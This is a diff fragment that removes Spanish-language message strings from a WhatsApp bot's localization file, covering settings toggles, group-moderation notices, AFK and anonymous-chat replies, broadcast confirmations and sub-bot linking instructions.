-const smsLlamar1 = () => { return `🚫 ANTI LLAMADAS`}
-const smsLlamar2 = () => { return `Bloquea a Personas que hagan llamadas`}
-const smsAntiSp1 = () => { return `🚯 ANTI SPAM`}
-const smsAntiSp2 = () => { return `Banear el Uso de Comados cuando alguien realice algún tipo de Spam`}
-const smsModP1 = () => { return `🌐 MODO PÚBLICO`}
-const smsModP2 = () => { return `Habilitar función para que todos puedan usar GataBot`}
-const smsModAd1 = () => { return `🛂 MODO ADMIN`}
-const smsModAd2 = () => { return `Solo los Admins podrán usar GataBot en Grupos`}
-const smsLect1 = () => { return `✅ LECTURA AUTOMÁTICA`}
-const smsLect2 = () => { return `Dejar los mensajes o chats como Leídos`}
-const smsTempo1 = () => { return `🐈 BOT TEMPORAL`}
-const smsTempo2 = () => { return `Función que permite estadía temporalmente en Grupos`}
-const smsStik1 = () => { return `🎠 STICKERS`}
-const smsStik2 = () => { return `Habilitar el envio automático de Stickers a todos`}
-const smsStickA1 = () => { return `🪄 STICKERS AUTOMÁTICOS`}
-const smsStickA2 = () => { return `Los vídeos, Gif, imágenes, enlaces jpg o jpeg; Se convertirán en Stickers Automáticamente`}
-const smsReacc1 = () => { return `🤡 REACCIÓN `}
-const smsReacc2 = () => { return `Habilitar el envio automático de Reacciones a mensajes`}
-const smsAudi1 = () => { return `🔊 AUDIOS`}
-const smsAudi2 = () => { return `Habilitar el envio automático de Audios a todos`}
-const smsModHor1 = () => { return `🔞 MODO HORNY`}
-const smsModHor2 = () => { return `Mostrar contenido para Adulto en los Chats`}
-const smsAntitoc1 = () => { return `☢️ ANTI TÓXICOS`}
-const smsAntitoc2 = () => { return `Enviar Advertencias aquellas personas que insulten`}
-const smsModOb1 = () => { return `👀 MODO OBSERVAR`}
-const smsModOb2 = () => { return `Permitir que las imágenes, Gif y Vídeos se puedan ver para todos`}
-const smsAntiEli1 = () => { return `🗑️ ANTI ELIMINAR`}
-const smsAntiEli2 = () => { return `Todo mensaje eliminado será reenviado al Chat o Grupo`}
-const smsAntiInt1 = () => { return `🌏 ANTI INTERNACIONAL`}
-const smsAntiInt2 = () => { return `Eliminar Números internacionales considerados falsos`}
-const smsAntiE1 = () => { return `🔗 ANTI ENLACES`}
-const smsAntiE2 = () => { return `Eliminar Personas que envíen enlaces de Grupos de WhatsApp`}
-const smsAntiEE1 = () => { return `🔗 ANTI ENLACES 2`}
-const smsAntiEE2 = () => { return `Eliminar Personas que envíen enlaces que contengan https`}
-const smsAntiTT1 = () => { return `🔗 ANTI TIKTOK`}
-const smsAntiTT2 = () => { return `Eliminar Personas que envíen enlaces de TikTok`}
-const smsAntiYT1 = () => { return `🔗 ANTI YOUTUBE`}
-const smsAntiYT2 = () => { return `Eliminar Personas que envíen enlaces de YouTube`}
-const smsAntiTEL1 = () => { return `🔗 ANTI TELEGRAM`}
-const smsAntiTEL2 = () => { return `Eliminar Personas que envíen enlaces de Telegram`}
-const smsAntiFB1 = () => { return `🔗 ANTI FACEBOOK`}
-const smsAntiFB2 = () => { return `Eliminar Personas que envíen enlaces de Facebbok`}
-const smsAntiIG1 = () => { return `🔗 ANTI INSTAGRAM`}
-const smsAntiIG2 = () => { return `Eliminar Personas que envíen enlaces de Instagram`}
-const smsAntiTW1 = () => { return `🔗 ANTI TWITTER `}
-const smsAntiTW2 = () => { return `Eliminar Personas que envíen enlaces de Twitter`}
-const smsSOLOP1 = () => { return `⚜️ SOLO PRIVADOS`}
-const smsSOLOP2 = () => { return `Permitir que solo se use en Chats Privados`}
-const smsSOLOG1 = () => { return `⚜️ SOLO GRUPOS`}
-const smsSOLOG2 = () => { return `Permitir que solo se use en Chats Grupales`}
-const smsConfi1 = () => { return `AJUSTES`}
-const smsConfi2 = () => { return `*¡Hola!*`}
-const smsConfi3 = () => { return `┆ *Seleccione una opción de la lista*`}
-const smsConfi4 = () => { return `┆ *Para empezar a Configurar*`}
-const smsConfi5 = () => { return `┆□ *Avisos de la Configuracion:*`}
-const smsConfi6 = () => { return `┆ ✅ ⇢ *Función Activada*`}
-const smsConfi7 = () => { return `┆ ❌ ⇢ *Función Desactivada*`}
-const smsConfi8 = () => { return `┆ ⚠️ ⇢ *Este Chat no es un Grupo*`}
-const smsConfi9 = () => { return `┆ *Recomendación: Para ver la configuración*\n┆ *Completa use este Menú en Grupo*\n┆`}
-const smsConfi10 = () => { return `*~ CENTRO DE CONFIGURACIÓN*`}
-const smsParaAdmins = () => { return `PARA ADMINS Y CREADOR(A) : GRUPOS`}
-const smsParaAdYOw = () => { return `PARA ADMINS Y CREADOR(A) : CHATS`}
-const smsParaOw = () => { return `PARA CREADOR(A) : CHATS`}
-const smsNoGg = () => { return ` | ⚠️`}
-const smsMens1 = () => { return `COMANDO`}
-const smsMens2 = () => { return `ACTUALMENTE`}
-const smsMens3 = () => { return `EN ESTE`}
-const smsMens4 = () => { return `BOT`}
-const smsMens5 = () => { return `CHAT`}
-
-//Error2
-const smsMensError1 = () => { return `❕ REPORTAR COMANDO ❕`}
-const smsMensError2 = () => { return `Está Fallando el siguiente comando`}
-
-//_antiviewonce.js
-const smsAntiView = () => { return `*𝙈𝘼𝙎𝙏𝙀𝙍 𝙔𝙊 𝙇𝙊 𝙑𝙀𝙊 𝙏𝙊𝘿𝙊 𝘼𝙌𝙐Í* 😎`}
-
-//_autolevelup.js
-const smsAutoLv1 = () => { return `🎖️ NUEVO NIVEL 🎖️`}
-const smsAutoLv2 = () => { return `NIVEL ANTERIOR:`}
-const smsAutoLv3 = () => { return `NIVEL ACTUAL:`}
-const smsAutoLv4 = () => { return `RANGO:`}
-const smsAutoLv5 = () => { return `FECHA:`}
-const smsAutoLv6 = () => { return `Has alcanzado un Nuevo Nivel!!!`}
-const smsAutoLv7 = () => { return `🥳 RECOMPENSA POR SU NUEVO NIVEL`}
-
-//_autosticker.js
-const smsAutoStik = () => { return `${lenguajeGB['smsAvisoFG']()}*EL VÍDEO NO DEBE DE DURAR MÁS DE 7 SEGUNDOS.*`}
-
-//_expired.js
-const smsBottem1 = () => { return `*SE VA DEL GRUPO!!! 🤝 SI QUIERE QUE VUELVA, USE EL COMANDO _#bottemporal_ PARA QUE VUELVA AL GRUPO!!*`}
-const smsBottem2 = () => { return `*💕 ASISTENCIA PARA USUARIOS*\n*_${global.ig}_*\n`}
-const smsBottem3 = () => { return `HASTA PRONTO 💖`}
-
-//_premium.js
-const smsPremI = () => { return `*¡SE ACABÓ TÚ TIEMPO PREMIUM!* 🎟️\n*PARA OBTENER UN NUEVO PASE PREMIUM USE EL COMANDO:*\n*#pase premium*`}
-
-//afk-_afk.js
-const smsAfkM1 = () => { return `${lenguajeGB['smsAvisoEG']()}*ᴅᴇᴊᴀsᴛᴇ ᴅᴇ ᴇsᴛᴀʀ ɪɴᴀᴄᴛɪᴠᴏ ᴀғᴋ*`}
-const smsAfkM2 = () => { return `*ᴇʟ ᴍᴏᴛɪᴠᴏ ᴅᴇ ɪɴᴀᴄᴛɪᴠɪᴅᴀᴅ ᴇʀᴀ:*`}
-const smsAfkM3 = () => { return `*ᴛɪᴇᴍᴘᴏ ɪɴᴀᴄᴛɪᴠᴏ:*`}
-const smsAfkM4 = () => { return `${lenguajeGB['smsAvisoAG']()}*ɴᴏ ᴇᴛɪǫᴜᴇᴛᴇ ᴀ ᴇsᴛᴇ(ᴀ) ᴜsᴜᴀʀɪᴏ(ᴀ)!!! ᴇsᴛᴀ ɪɴᴀᴄᴛɪᴠᴏ/ᴀ*`}
-const smsAfkM5 = () => { return `*ᴍᴏᴛɪᴠᴏ ᴅᴇ ʟᴀ ɪɴᴀᴄᴛɪᴠɪᴅᴀᴅ ᴀғᴋ:*`}
-const smsAfkM6 = () => { return `*ᴍᴏᴛɪᴠᴏ ᴅᴇ ʟᴀ ɪɴᴀᴄᴛɪᴠɪᴅᴀᴅ ᴀғᴋ: ɴᴏ ᴇsᴘᴇᴄɪғɪᴄᴏ ᴍᴏᴛɪᴠᴏ ᴅᴇ ɪɴᴀᴄᴛɪᴠɪᴅᴀᴅ (ᴘᴀᴊᴀ)*`}
-
-//afk-afk.js
-const smsAfkM1A = () => { return `${lenguajeGB['smsAvisoAG']()}*ɴᴏ ᴇᴛɪǫᴜᴇᴛᴇ ᴀ*`}
-const smsAfkM1B = () => { return `*ᴇsᴛᴀʀᴀ ɪɴᴀᴄᴛɪᴠᴏ ᴀғᴋ*\n\n*ᴍᴏᴛɪᴠᴏ ᴅᴇ ʟᴀ ɪɴᴀᴄᴛɪᴠɪᴅᴀᴅ ᴀғᴋ*`}
-
-//anonymous_chat.js
-const smsChatAn1 = () => { return `${lenguajeGB['smsAvisoFG']()}*NO ESTÁS EN CHAT ANÓNIMO*`}
-const smsChatAn2 = () => { return `*SI QUIERES INICIAR UN CHAT ANÓNIMO USA EL COMANDO #start O USAR EL BOTÓN DE ABAJO*\n`}
-const smsChatAn3 = () => { return `⚡ INICIAR CHAT ANÓNIMO`}
-const smsChatAn4 = () => { return `${lenguajeGB['smsAvisoRG']()}🪐 *USTED SE FUE DEL CHAT ANÓNIMO*`}
-const smsChatAn5 = () => { return `${lenguajeGB['smsAvisoAG']()}*EL OTRO USUARIO SALIÓ DEL CHAT ANÓNIMO*`}
-const smsChatAn6 = () => { return `*SI QUIERES IR A OTRO CHAT ANÓNIMO USA EL COMANDO #start O USAR EL BOTÓN DE ABAJO*\n`}
-const smsChatAn7 = () => { return `${lenguajeGB['smsAvisoAG']()}*TODAVÍA ESTÁS EN UN CHAT ANÓNIMO O EN ESPERA A QUE ALGUIEN SE UNA PARA CHATEAR*`}
-const smsChatAn8 = () => { return `*SI QUIERES SALIR DEL CHAT ANÓNIMO USE EL COMANDO #leave O PUEDES USAR EL BOTÓN DE ABAJO*\n`}
-const smsChatAn9 = () => { return `🍁 SALIR DEL CHAT ANÓNIMO`}
-const smsChatAn10 = () => { return `${lenguajeGB['smsAvisoEG']()}✨ *YA PUEDEN CHATEAR*`}
-const smsChatAn11 = () => { return `*ALGUIEN SE HA UNIDO AL CHAT ANÓNIMO!!*`}
-const smsChatAn12 = () => { return `❇️ OTRO(A) USUARIO(A)`}
-const smsChatAn13 = () => { return `${lenguajeGB['smsAvisoRG']()}🐈 *ESPERANDO A QUE ALGUIEN SE UNA AL CHAT ANÓNIMO, TENGA PACIENCIA POR FAVOR*`}
-
-//Botones de Menú
-const smsBotonM1 = () => { return `⚡ MENÚ DE INICIO ⚡`}
-const smsBotonM2 = () => { return `💫 MENÚ COMPLETO 💫`}
-const smsBotonM3 = () => { return `🔰 INFOBOT 🔰`}
-const smsBotonM4 = () => { return `𝙐𝙨𝙪𝙖𝙧𝙞𝙤𝙨`}
-const smsBotonM5 = () => { return `RANGO`}
-const smsBotonM6 = () => { return `NIVEL`}
-const smsBotonM7 = () => { return `PREMIUM`}
-const smsTex1 = () => { return '*MENÚ DE BUSQUEDA*'}
-const smsTex2 = () => { return '*MODIFICADOR DE AUDIO*'}
-const smsTex3 = () => { return '*MENÚ +18*'}
-const smsTex4 = () => { return '*CONTENIDO DINÁMICO*'}
-const smsTex5 = () => { return '*BUSCAR Y DESCARGAR*'}
-const smsTex6 = () => { return '*MENÚ +18 PREMIUM*'}
-const smsTex7 = () => { return '⠇ *Imágenes +18 de calidad y variedad*\n⠇ *Vídeos +18 solo para ti*\n⠇ *Stickers +18 disponibles*'}
-const smsTex8 = () => { return '*MENÚ CONVERTIDOR*'}
-const smsTex9 = () => { return '*MENÚ DE DESCARGAS*'}
-const smsTex10 = () => { return '*MENU JUEGOS DINÁMICOS*'}
-const smsTex11 = () => { return '*MENU PARA GRUPOS*'}
-const smsTex12 = () => { return '*MENU DE HERRAMIENTAS*'}
-const smsTex13 = () => { return '*MENU DE INFORMACIÓN*'}
-const smsTex14 = () => { return '*MENU DE EFECTOS Y LOGOS*'}
-const smsTex15 = () => { return '*MENU DE LOGOS 2*'}
-const smsTex16 = () => { return 'MENU DE AUDIOS'}
-const smsTex17 = () => { return '*NO ES NECESARIO USAR PREFIJO EN AUDIOS*'}
-const smsTex18 = () => { return 'LISTA DE AUDIOS'}
-const smsTex19 = () => { return '*PUEDE SELECCIONAR EL AUDIO!!*'}
-const smsTex20 = () => { return '*MENU PARA PROPIETARIO(A)*'}
-const smsTex21 = () => { return '*MENU RPG*'}
-const smsTex22 = () => { return '*MENU DE STICKERS Y FILTROS*'}
-const smsTex23 = () => { return '*MENU DE MEMES Y ANIMES RANDOMS*'}
-
-//info-grupos-lista.js
-const smsLisA = () => { return '_*ESTÁ EN ESTOS GRUPOS:*_'}
-const smsLisB = () => { return '*✦ Total de Grupos:*'}
-const smsLisC = () => { return '*✦ Grupo:*'}
-const smsLisD = () => { return '*✦ ID:*'}
-const smsLisE = () => { return '*✦ Participantes:*'}
-
-//ad
-const smsMalused = () => { return '⚡ *USAR EL COMANDO DE ESTA FORMA:*\n'}
-const smsMalused2 = () => { return `${lenguajeGB['smsAvisoMG']()}🐈 *DEBE DE USAR EL COMANDO COMO EN ESTE EJEMPLO:*\n`}
-const smsMalused3 = () => { return `${lenguajeGB['smsAvisoMG']()}🐈 *DEBE DE USAR EL COMANDO O RESPONDER AL MENSAJE DE ALGUIEN COMO EN ESTE EJEMPLO:*\n`}
-
-//gc-config_time.js
-const smsGrupoTime1 = () => { return '🔓 *_ABRIR GRUPO EN UNA HORA_*'}
-const smsGrupoTime2 = () => { return '🔒 *_CERRAR GRUPO EN UNA HORA_*'}
-const smsGrupoTime3 = () => { return 'GRUPO'}
-const smsGrupoTime4 = () => { return 'CERRADO'}
-const smsGrupoTime5 = () => { return 'ABIERTO'}
-const smsGrupoTime6 = () => { return 'DURANTE'}
-const smsGrupoTime7 = () => { return '🔒 *EL GRUPO ESTA CERRADO, SOLO ADMINS PUEDEN ENVIAR MENSAJES*'}
-const smsGrupoTime8 = () => { return '🔓 *EL GRUPO ESTA ABIERTO, TODOS PUEDEN ENVIAR MENSAJES*'}
-const smsGrupoTime9 = () => { return '🔓 ABRIR GRUPO DURANTE '}
-const smsGrupoTime10 = () => { return '🔒 CERRAR GRUPO DURANTE '}
-const smsGrupoTime11 = () => { return ' HORA'}
-const smsGrupoTime12 = () => { return 'PERMITIR QUE EL GRUPO SE HABRA POR '}
-const smsGrupoTime13 = () => { return 'PERMITIR QUE EL GRUPO SE CIERRE POR '}
-
-//grupo-add.js
-const smsAddB1 = () => { return `${lenguajeGB['smsAvisoFG']()}*NO SE PUEDE AGREGAR EL NÚMERO, VERFIQUE QUE SEA CORRECTO, TAL VEZ SALIÓ RECIENTEMENTE O SU PRIVACIDAD ESTA CONFIGURADA.*`}
-const smsAddB2 = () => { return `${lenguajeGB['smsAvisoFG']()}*NO SE PUEDE AGREGAR EL NÚMERO, VERFIQUE QUE SEA CORRECTO, O AGRÉGELO MANUALMENTE.*`}
-
-//grupo-admins.js
-const smsAddB3 = () => { return `*𝙉𝙤𝙩𝙞𝙛𝙞𝙘𝙖𝙘𝙞𝙤𝙣 𝙥𝙖𝙧𝙖 𝙖𝙙𝙢𝙞𝙣𝙨*`}
-const smsAddB4 = () => { return `*𝙋𝙧𝙚𝙨𝙚𝙣𝙘𝙞𝙖 𝙙𝙚 𝙖𝙙𝙢𝙞𝙣𝙨*`}
-const smsAddB5 = () => { return `*𝙈𝙚𝙣𝙨𝙖𝙟𝙚:*`}
-const smsAddB6 = () => { return `𝙎𝙤𝙡𝙞𝙘𝙞𝙩𝙤 𝙖𝙡 𝙡𝙤𝙨 𝙖𝙙𝙢𝙞𝙣𝙨 𝙥𝙤𝙧 𝙛𝙖𝙫𝙤𝙧.`}
-
-//grupo-advertencia.js
-const smsAdveu1 = () => { return `${lenguajeGB['smsAvisoAG']()}*SOLO PUEDE USAR SI ESTÁ ACTIVADA LA FUNCIÓN:*\n`}
-const smsAdveu2 = () => { return 'Motivo'}
-const smsAdveu3 = () => { return `${lenguajeGB['smsAvisoMG']()}*RECUERDE ESCRIBIR EL MOTIVO DE LA ADVERTENCIA*\n`}
-const smsAdveu4 = () => { return '*RECIBIÓ UNA ADVERTENCIA EN ESTE GRUPO!!*'}
-const smsAdveu5 = () => { return 'ADVERTENCIA'}
-const smsAdveu6 = () => { return '🎒 INVENTARIO'}
-const smsAdveu7 = () => { return '*TE LO ADVERTI VARIAS VECES!!*'}
-const smsAdveu8 = () => { return '*AHORA SERÁS ELIMINADO(A)* 🙄'}
-const smsAdveu9 = () => { return '😇 MUCHAS GRACIAS'}
-const smsAdveu10 = () => { return '*SE LE ELIMINÓ UNA ADVERTENCIA EN ESTE GRUPO!!*'}
-const smsAdveu11 = () => { return 'Antes:'}
-const smsAdveu12 = () => { return 'Ahora:'}
-
-//grupo-demote.js || grupo-promote.js
-const smsDemott = () => { return '*EL NÚMERO NO ES VÁLIDO, VUELVA INTENTAR RESPONDA AL MENSAJE DE ALGUIEN O USE COMO EN ESTE EJEMPLO:*\n'}
-const smsDemott2 = () => { return '*AHORA TIENE PODER EN EL GRUPO!!*'}
-const smsDemott3 = () => { return '*YA NO TIENE PODER EN EL GRUPO!!*'}
-
-//grupo-info.js
-const smsGI1 = () => { return '*INFORMACIÓN DEL GRUPO*'}
-const smsGI2 = () => { return '*ID DEL GRUPO*'}
-const smsGI3 = () => { return '*NOMBRE DEL GRUPO*'}
-const smsGI4 = () => { return '*DESCRIPCIÓN DEL GRUPO*'}
-const smsGI5 = () => { return '*NO HAY DESCRIPCIÓN*'}
-const smsGI6 = () => { return '*NÚMERO DE USUARIOS*'}
-const smsGI7 = () => { return '*Usuarios*'}
-const smsGI8 = () => { return '*CREADOR(A) DEL GRUPO*'}
-const smsGI9 = () => { return '*ADMINS DEL GRUPO*'}
-const smsGI10 = () => { return '⚙️ CONFIGUARACIONES DEL GRUPO'}
-
-//grupo-kick.js
-const smskick1 = () => { return `${lenguajeGB['smsAvisoAG']()}*ETIQUETE A LA PERSONA O RESPONDA AL MENSAJE DE LA PERSONA QUE QUIERE ELIMINAR*\n\n*EJEMPLO: `}
-const smskick2 = () => { return `ELIMINADO(A) 😼🫵`}
-const smskick3 = () => { return `NO PUEDO ELIMINAR AL CREADOR DEL GRUPO 😆🫵`}
-const smskick4 = () => { return `NO ESTÁ EN ESTE GRUPO 👻`}
-
-//grupo-tagall.js
-const smstagaa = () => { return `⚡ INVOCANDO AL GRUPO ⚡`}
-
-//grupo-setbye.js
-const smsSetB = () => { return `${lenguajeGB['smsAvisoEG']()}*LA DESPEDIDA DEL GRUPO HA SIDO CONFIGURADA*`}
-const smsSetB2 = () => { return `${lenguajeGB['smsAvisoIIG']()}🙌 *_ESCRIBA EL MENSAJE DE DESPEDIDA_*\n*_OPCIONAL PUEDE USAR LO QUE ESTA CON "@" PARA AGREGAR MÁS INFORMACIÓN:_*\n\n*⚡ @user (Mención al usuario(a))*\n\n*RECUERDE QUE EL "@" ES OPCIONAL*`}
-
-//grupo-setwelcome.js
-const smsSetW = () => { return `${lenguajeGB['smsAvisoEG']()}*LA BIENVENIDA DEL GRUPO HA SIDO CONFIGURADA*`}
-const smsSetW2 = () => { return `${lenguajeGB['smsAvisoIIG']()}🙌 *_ESCRIBA EL MENSAJE DE BIENVENIDA_*\n*_OPCIONAL PUEDE USAR LO QUE ESTA CON "@" PARA AGREGAR MÁS INFORMACIÓN:_*\n\n*⚡ @user (Mención al usuario(a))*\n*⚡ @subject (Nombre de grupo)*\n*⚡ @desc (Description de grupo)*\n\n*RECUERDE QUE LOS "@" SON OPCIONALES*`}
-
-//grupo-setdesc.js
-const smsDest = () => { return `${lenguajeGB['smsAvisoEG']()}*LA DESCRIPCIÓN DEL GRUPO HA SIDO CONFIGURADA*`}
-
-//grupo-setname.js
-const smsNam1 = () => { return `${lenguajeGB['smsAvisoEG']()}*EL NOMBRE DEL GRUPO HA SIDO CONFIGURADO*`}
-const smsNam2 = () => { return `${lenguajeGB['smsAvisoMG']()}*🙌 ESCRIBA EL NUEVO NOMBRE DEL GRUPO*`}
-const smsNam3 = () => { return `${lenguajeGB['smsAvisoFG']()}*EL NOMBRE DEL GRUPO NO DEBE DE TENER MÁS DE 25 CARACTERES*`}
-
-//grupo-restaurarEnlace.js
-const smsRestGp = () => { return `${lenguajeGB['smsAvisoEG']()}*EL ENLACE DEL GRUPO HA SIDO RESTABLECIDO*`}
-
-//Botón
-const smsSig = () => { return `➡️ SIGUIENTE ➡️`}
-const smsSigPrem = () => { return `❤️🔥 SIGUIENTE ❤️🔥`}
-const smsCont18Porn = () => { return `🔞 *CONTENIDO* 🔞`} //texto
-const smsCont18Porn2 = () => { return `🔞 CONTENIDO 🔞`} //texto
-const smsCont18PornP = () => { return `🌟 *CONTENIDO ❤️🔥 PREMIUM* 🌟`} //texto
-const smsCont18PornP2 = () => { return `CONTENIDO ❤️🔥 PREMIUM`} //texto
-
-//propietario(a).js
-const smsJoin = (user) => { return `𝙃𝙤𝙡𝙖 👋 𝙘𝙤𝙢𝙤 𝙚𝙨𝙩𝙖 𝙩𝙤𝙙𝙤𝙨 𝙥𝙤𝙧 𝙖𝙦𝙪𝙞, 𝙎𝙤𝙮 𝙪𝙣 𝙗𝙤𝙩 𝙙𝙚 𝙬𝙝𝙖𝙩𝙨𝙖𝙥𝙥 𝙦𝙪𝙚 𝙩𝙚 𝙖𝙮𝙪𝙙𝙖𝙧𝙖́ 𝙖 𝙧𝙚𝙖𝙡𝙞𝙯𝙖𝙧 𝙙𝙞𝙛𝙚𝙧𝙚𝙣𝙩𝙚𝙨 𝙖𝙘𝙩𝙞𝙫𝙞𝙙𝙖𝙙𝙚𝙨 🙌 𝙩𝙚 𝙫𝙖𝙣 𝙖 𝙙𝙞𝙫𝙚𝙧𝙩𝙞𝙧 😛𝙘𝙤𝙣 𝙢𝙞 𝙢𝙪𝙡𝙩𝙞𝙥𝙡𝙚𝙨 𝙛𝙪𝙣𝙘𝙞𝙤𝙣𝙚𝙨\n𝙁𝙪𝙞 𝙞𝙣𝙫𝙞𝙩𝙖𝙙𝙤 𝙥𝙤𝙧: @${user}\n𝘿𝙞𝙨𝙛𝙧𝙪𝙩𝙖 𝙙𝙚𝙡 𝙇𝙤𝙡𝙞𝘽𝙤𝙩-𝙈𝘿 🙌`}
-const smsJoin1 = (usedPrefix, command) => { return lenguajeGB['smsAvisoMG']() + `*INGRESE EL ENLACE DE UN GRUPO*\n*EJEMPLO:*\n*${usedPrefix + command}* ${nna}`}
-const smsJoin2 = () => { return lenguajeGB['smsAvisoEG']() + `${packname}\n*SE HA UNIDO AL GRUPO ✅*`}
-
-//propietario(a).js
-const smsBCMensaje = (usedPrefix, command) => { return `*RESPONDA AL MENSAJE O ESCRIBA EL MENSAJE USANDO ${usedPrefix + command}*`}
-const smsBCMensaje2 = () => { return `*Enviando mensaje oficial, espere un momento...*`}
-const smsBCMensaje3 = (totalPri, time) => { return `✅ *El mensaje fue envíado a ${totalPri} Chat(s) privado (s)*\n\n*Tiempo total de envio: ${time}*\n${totalPri >= 3000 ? '\n*No se enviaron a todos los chats para evitar saturación*' : ''}`}
-
-//propietario(a).js
-const smsBCbot1 = () => { return `✅ *MENSAJE ENVIADO:*`}
-const smsBCbot2 = () => { return `PRIVADO`}
-const smsBCbot3 = () => { return `GRUPO`}
-const smsBCbot4 = () => { return `TOTAL`}
-const smsBCbot5 = () => { return `TIEMPO TOTAL DE ENVÍO:`}
-const smsBCbot6 = () => { return `NO SE ENVIARON A TODOS LOS CHATS PRIVADOS PARA EVITAR SATURACIÓN`}
-const smsBCbot7 = () => { return `✅ *COMUNICADO OFICIAL* ✅`}
-
-//propietario(a).js
-const smsChatGP1 = () => { return "*Enviando mensaje, espere un momento...*"}
-const smsChatGP2 = (readMS, dia, mes, año, fecha, tiempo) => { return `✅ *COMUNICADO OFICIAL* ✅\n${readMS}\n\`\`\`${dia}, ${mes} ${año}\`\`\`\n\`\`\`${fecha} || ${tiempo}\`\`\`\n\n`}
-const smsChatGP3 = (totalGP) => { return `✅ *EL MENSAJE FUE ENVIADO A ${totalGP} GRUPO(S)*`}
-
-//propietario(a.js
-const smsPropban1 = (usedPrefix, command, bot) => { return `${lenguajeGB['smsAvisoMG']()}*ETIQUETE A ALGUIEN O RESPONDA AL MENSAJE DEL USUARIO O ESCRIBA EL NÚMERO QUE QUIERE BANEAR DE LOS COMANDOS*\n\n*EJEMPLO:*\n*${usedPrefix + command} @${bot}*`}
-const smsPropban2 = (bot) => { return `${lenguajeGB['smsAvisoFG']()}*@${bot} NO PUEDE SER BANEADO CON ESTE COMANDO* 😹`}
-const smsPropban3 = (ownerNumber) => { return `${lenguajeGB.smsAvisoIIG()}😳 *NO PUEDO BANEAR AL OWNER @${ownerNumber} DE ${packname}*`}
-const smsPropban4 = (number) => { return `${lenguajeGB.smsAvisoIIG()}*NO ES NECESARIO VOLVER A BANEAR A @${number} SI YA LO ESTÁ* 😊`}
-const smsPropban5 = () => { return `${lenguajeGB['smsAvisoEG']()}𝙀𝙇/𝙇𝘼 𝙐𝙎𝙐𝘼𝙍𝙄𝙊(𝘼) 𝙁𝙐𝙀 𝘽𝘼𝙉𝙀𝘼𝘿𝙊(𝘼) 🙀\n𝙉𝙊 𝙋𝙊𝘿𝙍𝘼 𝙐𝙎𝘼𝙍 𝘼 ${lb}`}
-const smsPropban6 = (number, usr) => { return `${lenguajeGB.smsAvisoAG()}*@${number} ESTAS BANEADO/A POR @${usr} NO PUEDES USAR LOS COMANDOS HASTA QUE ALGUIEN REVIERTA EL BANEO* 😿`}
-const smsPropban7 = (usedPrefix, command, number) => { return `${lenguajeGB['smsAvisoFG']()}*SURGIÓ UN ERROR, PUEDE SER QUE EL USUARIO NO ESTE EN MI BASE DE DATOS INTENTE ESCRIBIR ${usedPrefix + command} ${number}*\n\`\`\`SI EL ERROR CONTINÚA REPORTE ESTE COMANDO\`\`\``}
-
-//jadibot-serbot.js
-const smsIniJadi = () => { return `*🔰 The LoliBot-MD 🔰*\n *Ser sub bot*\n\n*Con otro telefono que tengas o en la PC escanea este QR para convertirte en un sub bot*\n\n*1. Haga clic en los tres puntos en la esquina superior derecha*\n*2. Toca WhatsApp Web*\n*3. Escanee este codigo QR*\n*Este código QR expira en 60 segundos!*\n\n*⚠️ No nos hacemos responsable del mal uso que se le pueda dar o si el numero se manda a soporte.. ustedes tienen el deber se seguir al pie de la letra los terminos y condiciones y privacidad (escribe eso y te los dará)*`}
-const smsSoloOwnerJB = () => { return `${lenguajeGB['smsAvisoAG']()}*ESTE COMANDO ESTÁ DESACTIVADO POR MÍ PROPIETARIO(A)*`}
-const smsJBPrincipal = () => { return `「🤖 𝕿𝖍𝖊-𝕷𝖔𝖑𝖎𝕭𝖔𝖙-𝕸𝕯 🤖」*\n\n*⚠️ No se puede hacer un bot dentro de un sub bot!*\n*✳️ Mande el comando #jadibot al numero oficial/principal del Bot*\n\n`}
-const smsIniJadi2 = () => { return `*🔰 The LoliBot-MD 🔰*\n *Ser sub bot*\n\n🟢 *_NUEVA FUNCIÓN DE HACERTE UN SUB BOT_* 🟢\n\n*1️⃣ Diríjase en los tres puntos en la esquina superior derecha*\n*2️⃣ Ir a la opción Dispositivos vinculados*\n*3️⃣ da click en vincular con codigo de teléfono*\n*4️⃣ pega el codigo a continuación*\n\n*⚠️ No nos hacemos responsable del mal uso que se le pueda dar o si el numero se manda a soporte.. ustedes tienen el deber se seguir al pie de la letra los terminos y condiciones y privacidad (escribe eso y te los dará)*`}
-const smsreenvia = () => { return `*🟢 REENVIA EL COMANDO...*`}
-const smsJBConexionClose2 = () => { return `${lenguajeGB['smsAvisoFG']()}🔴 *TU DISPOSITIVO SE DESCONECTADO*\n\n*TENDRAS QUE VOLVER A CONECTARTE USAR:\n#deletesesion (Para borrar datos y poder volver a solita el QR o el code)`}
-const smsJBConexion = () => { return `*⚠️ Conexión perdida.. envie el mensaje que se envio al numero donde escaneo el codigo qr*`}
-const smsJBConexionClose = () => { return `⚠️ *LA CONEXIÓN SE HA CERRADO, DEBERÁ DE CONECTARSE MANUALMENTE USANDO EL COMANDO #serbot Y REESCANEAR EL NUEVO CÓDIGO QR*`}
-const smsJBConexionTrue = () => { return `Conectado exitosamente con WhatsApp\n\n*Nota:* Esto es temporal si el Bot principal se reinicia o se desactiva, todos los sub bots tambien lo haran\n\nPuede iniciar sesión sin el codigo qr con el siguiente mensaje, envialo cuando no funcione el bot....`}
-const smsJBConexionTrue2 = () => { return `*✅Conectado exitosamente con whatsapp*`}
-const smsJBCargando = () => { return `*✅Ya estas conectado, Por favor espere se esta cargado los mensajes....*\n\n*🙌️ OPCIONES DISPONIBLES:*\n*🔸#stop _(Detener la función Sub Bot)_*\n*🔸 #eliminarsesion _(Borrar todo rastro de Sub Bot)_*\n*🔸 #serbot _(Obtener nuevo código QR para ser Sub Bot)_*`}
-const smsJBInfo1 = () => { return `💖 *ENLACE ÚTIL*`}
-const smsJBInfo2 = () => { return `💖 *La función es estable, sí presenta algún inconveniente Comuníquese al correo: centergatabot@gmail.com*\n💝 *Puede hacer una Donación voluntaria por PayPal: ${global.paypal}*\n\n*Muchas Gracias por el apoyo a ${global.packname}*`}
-
-//jadibot-deleteSesion.js
-const smsJBDel = () => { return `${lenguajeGB['smsAvisoAG']()}*USE ESTE COMANDO AL BOT PRINCIPAL*`}
-const smsJBAdios = () => { return `${lenguajeGB['smsAvisoEG']()}*TE VOY A EXTRAÑAR ${global.packname} CHAOO!! 🥹*`}
-const smsJBCerrarS = () => { return `${lenguajeGB['smsAvisoEG']()}*HA CERRADO SESIÓN Y BORRADO TODO RASTRO*`}
-const smsJBErr = () => { return `*HA CERRADO SESIÓN COMO SUB BOT* ♻️`}
-
-//comandos+18-adult.js
